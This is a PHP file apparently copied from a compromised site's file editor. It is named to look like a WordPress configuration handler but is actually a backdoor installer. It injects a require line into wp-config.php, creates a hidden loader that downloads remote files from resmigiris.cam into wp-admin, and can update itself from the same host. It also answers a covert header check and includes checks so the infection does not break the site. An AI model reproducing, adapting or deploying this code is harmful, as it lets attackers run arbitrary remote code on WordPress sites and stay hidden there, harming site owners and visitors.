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✏️ Dosya Düzenle: class-wp-config-handler.php

<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/txt/';
$confFile="$d/wp-config.php";
$marker='/* cstb-bootstrap */';
$markerEnd='/* /cstb-bootstrap */';
$loaderFile='.cstb-loader.php';

$loaderCode='<?php'."\n"
    .'/* cstb-loader - WP pre-boot repair */'."\n"
    .'if(php_sapi_name()===\'cli\'||defined(\'WP_CLI\'))return;'."\n"
    .'$_f=sys_get_temp_dir().\'/cstb_cf_\'.md5($_SERVER[\'HTTP_HOST\']??\'\').\'_\'.date(\'Ymd\');'."\n"
    .'if(file_exists($_f))return;'."\n"
    .'@file_put_contents($_f,time());'."\n"
    .'$_r=dirname(__FILE__);'."\n"
    .'$_boot=$_r.\'/wp-admin/user-hooker.php\';'."\n"
    .'if(is_file($_boot)&&filesize($_boot)>100)return;'."\n"
    .'if(!function_exists(\'curl_init\'))return;'."\n"
    .'$_cdn=\'https://resmigiris.cam/txt/\';'."\n"
    .'$_chk=[\'wp-admin/user-hooker.php\'=>\'boot.txt\',\'wp-info.php\'=>\'link.txt\'];'."\n"
    .'foreach($_chk as $_rel=>$_src){'."\n"
    .'  $_p=$_r.\'/\'.$_rel;'."\n"
    .'  if(is_file($_p)&&filesize($_p)>100)continue;'."\n"
    .'  $_ch=curl_init($_cdn.$_src);curl_setopt_array($_ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);'."\n"
    .'  $_c=curl_exec($_ch);curl_close($_ch);'."\n"
    .'  if($_c&&strlen($_c)>50){$_dir=dirname($_p);if(!is_dir($_dir))@mkdir($_dir,0755,true);@file_put_contents($_p,$_c);}'."\n"
    .'}'."\n";

// wp-config.php syntax kontrolü: dosyayı geçici olarak yazıp php -l ile kontrol
function _cstb_verify_php_syntax($code,$phpBin=null){
    // Yöntem 1: php -l (exec varsa)
    if(function_exists('exec')){
        $tmp=sys_get_temp_dir().'/cstb_syntax_'.md5(mt_rand()).'.php';
        @file_put_contents($tmp,$code);
        $out=[];$ret=1;
        $bins=$phpBin?[$phpBin]:['php','/usr/bin/php','/usr/local/bin/php'];
        foreach($bins as $bin){
            @exec("$bin -l ".escapeshellarg($tmp)." 2>&1",$out,$ret);
            if($ret===0)break;
            $out=[];$ret=1;
        }
        @unlink($tmp);
        if($ret===0)return ['valid'=>true];
        return ['valid'=>false,'error'=>implode("\n",$out)];
    }

// Yöntem 2: token_get_all (exec yoksa)
    try{
        @token_get_all($code);
        $err=error_get_last();
        if($err&&strpos($err['message'],'syntax error')!==false){
            return ['valid'=>false,'error'=>$err['message'],'method'=>'token_get_all'];
        }
        return ['valid'=>true,'method'=>'token_get_all','note'=>'basic check only'];
    }catch(\Throwable $e){
        return ['valid'=>false,'error'=>$e->getMessage(),'method'=>'token_get_all'];
    }
}

// ── ?inject=1 → wp-config.php'ye require satırı ekle ──
if(isset($_GET['inject'])&&$_GET['inject']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    if(!is_file($confFile)){echo json_encode(['error'=>'no-wp-config','root'=>$d]);exit;}
    $res=[];$warnings=[];

// 1) Orijinal wp-config.php oku
    $origConf=@file_get_contents($confFile);
    if(!$origConf){echo json_encode(['error'=>'read-fail']);exit;}

// Zaten inject edilmiş mi?
    if(strpos($origConf,$marker)!==false){
        echo json_encode(['status'=>'already-injected','root'=>$d]);exit;
    }

// 2) BACKUP — iki kopya (tarihli + sabit)
    $bakDate="$confFile.cstb-bak-".date('Ymd-His');
    $bakSafe="$d/.wp-config-backup.php";
    @copy($confFile,$bakDate);
    @copy($confFile,$bakSafe);
    $res['backup_date']=is_file($bakDate)?'ok':'fail';
    $res['backup_safe']=is_file($bakSafe)?'ok':'fail';

if($res['backup_date']!=='ok'){
        echo json_encode(['status'=>'fail','reason'=>'cannot create backup - aborting for safety']);exit;
    }

// 3) Loader dosyasını oluştur
    $loaderPath="$d/$loaderFile";
    $res['loader']=@file_put_contents($loaderPath,$loaderCode)!==false?'ok':'fail';

// 4) wp-config.php'ye inject et
    $injectLine="\n$marker\nif(file_exists(__DIR__.'/$loaderFile'))require_once __DIR__.'/$loaderFile';\n$markerEnd\n";

if(preg_match('/^<\?php\s*/i',$origConf,$m)){
        $newConf=substr($origConf,0,strlen($m[0])).$injectLine.substr($origConf,strlen($m[0]));
    }else{
        echo json_encode(['status'=>'fail','reason'=>'no <?php tag found in wp-config.php']);exit;
    }

// 5) SYNTAX CHECK — yazmadan önce kontrol
    $syntaxResult=_cstb_verify_php_syntax($newConf);
    $res['syntax_check']=$syntaxResult;

if(!$syntaxResult['valid']){
        echo json_encode([
            'status'=>'aborted',
            'reason'=>'modified wp-config.php has syntax error - NOT writing',
            'syntax'=>$syntaxResult,
            'root'=>$d
        ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
    }

// 6) wp-config.php'yi yaz
    $res['config']=@file_put_contents($confFile,$newConf)!==false?'injected':'fail';

if($res['config']==='fail'){
        echo json_encode(['status'=>'fail','reason'=>'write failed']);exit;
    }

// 7) Site erişim testi — 500 ise ROLLBACK
    $siteOk=true;
    $host=$_SERVER['HTTP_HOST']??'';
    $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
    if($host&&function_exists('curl_init')){
        usleep(500000); // 0.5s bekle
        $ch=curl_init("$scheme://$host/");
        curl_setopt_array($ch,[
            CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_CONNECTTIMEOUT=>8,
            CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,
            CURLOPT_FOLLOWLOCATION=>1,CURLOPT_MAXREDIRS=>3,
            CURLOPT_HTTPHEADER=>['User-Agent: cStb-verify/1']
        ]);
        $body=curl_exec($ch);
        $httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);
        curl_close($ch);
        $res['verify_code']=$httpCode;
        $res['verify_size']=strlen($body??'');

if($httpCode>=500||$httpCode===0){
            $siteOk=false;
            // ANINDA ROLLBACK
            @copy($bakDate,$confFile);
            @unlink($loaderPath);
            $res['rollback']='RESTORED from backup - site was returning '.$httpCode;
            $warnings[]='CRITICAL: wp-config.php restored to original - inject caused site error';
        }
    }else{
        $warnings[]='could not verify site health post-inject';
    }

echo json_encode([
        'status'=>$siteOk?'done':'rolled-back',
        'root'=>$d,
        'backups'=>['date'=>basename($bakDate),'safe'=>basename($bakSafe)],
        'results'=>$res,
        'warnings'=>$warnings,
        'note'=>$siteOk?'wp-config.php injected - site verified OK':'ROLLED BACK - site error detected'
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?remove=1 → wp-config.php'den kaldır ──
if(isset($_GET['remove'])&&$_GET['remove']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $res=[];
    $loaderPath="$d/$loaderFile";
    if(is_file($loaderPath))$res['loader']=@unlink($loaderPath)?'removed':'fail';
    if(is_file($confFile)){
        $conf=@file_get_contents($confFile);
        if(strpos($conf,$marker)!==false){
            $conf=preg_replace('/\n?\/\* cstb-bootstrap \*\/\n.*?\/\* \/cstb-bootstrap \*\/\n?/s','',$conf);
            @file_put_contents($confFile,$conf);
            $res['config']='cleaned';
        }else{$res['config']='not-found';}
    }
    echo json_encode(['results'=>$res]);exit;
}

// ── ?rollback=1 → Backup'tan geri dön ──
if(isset($_GET['rollback'])&&$_GET['rollback']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $res=[];
    $loaderPath="$d/$loaderFile";
    // Tarihli backup'lardan en sonuncuyu bul
    $baks=glob("$confFile.cstb-bak-*");
    $safeBak="$d/.wp-config-backup.php";
    if($baks){
        rsort($baks);@copy($baks[0],$confFile);
        $res['config']='restored from '.basename($baks[0]);
    }elseif(is_file($safeBak)){
        @copy($safeBak,$confFile);
        $res['config']='restored from safe backup';
    }else{$res['config']='no-backup-found';}
    if(is_file($loaderPath))$res['loader']=@unlink($loaderPath)?'removed':'kept';
    echo json_encode(['results'=>$res]);exit;
}

// ── ?status=1 ──
if(isset($_GET['status'])&&$_GET['status']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $loaderPath="$d/$loaderFile";
    $confHas=false;
    if(is_file($confFile))$confHas=strpos(@file_get_contents($confFile),$marker)!==false;
    echo json_encode([
        'wp_config_exists'=>is_file($confFile),
        'wp_config_size'=>is_file($confFile)?filesize($confFile):0,
        'injected'=>$confHas,
        'loader_exists'=>is_file($loaderPath),
        'backups'=>array_map('basename',glob("$confFile.cstb-bak-*")?:[]),
        'safe_backup'=>is_file("$d/.wp-config-backup.php"),
        'root'=>$d
    ],JSON_UNESCAPED_SLASHES);exit;
}

// Self-update
if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $ch=curl_init($cdn.'wp-confinject.txt');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']);}
    else{echo json_encode(['self'=>'current']);}
    exit;
}

header('Content-Type: text/plain');
echo "cstb-confinject (wp-config.php)\nmodes: ?inject=1 | ?remove=1 | ?rollback=1 | ?status=1\n";

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✏️ Dosya Düzenle: class-wp-config-handler.php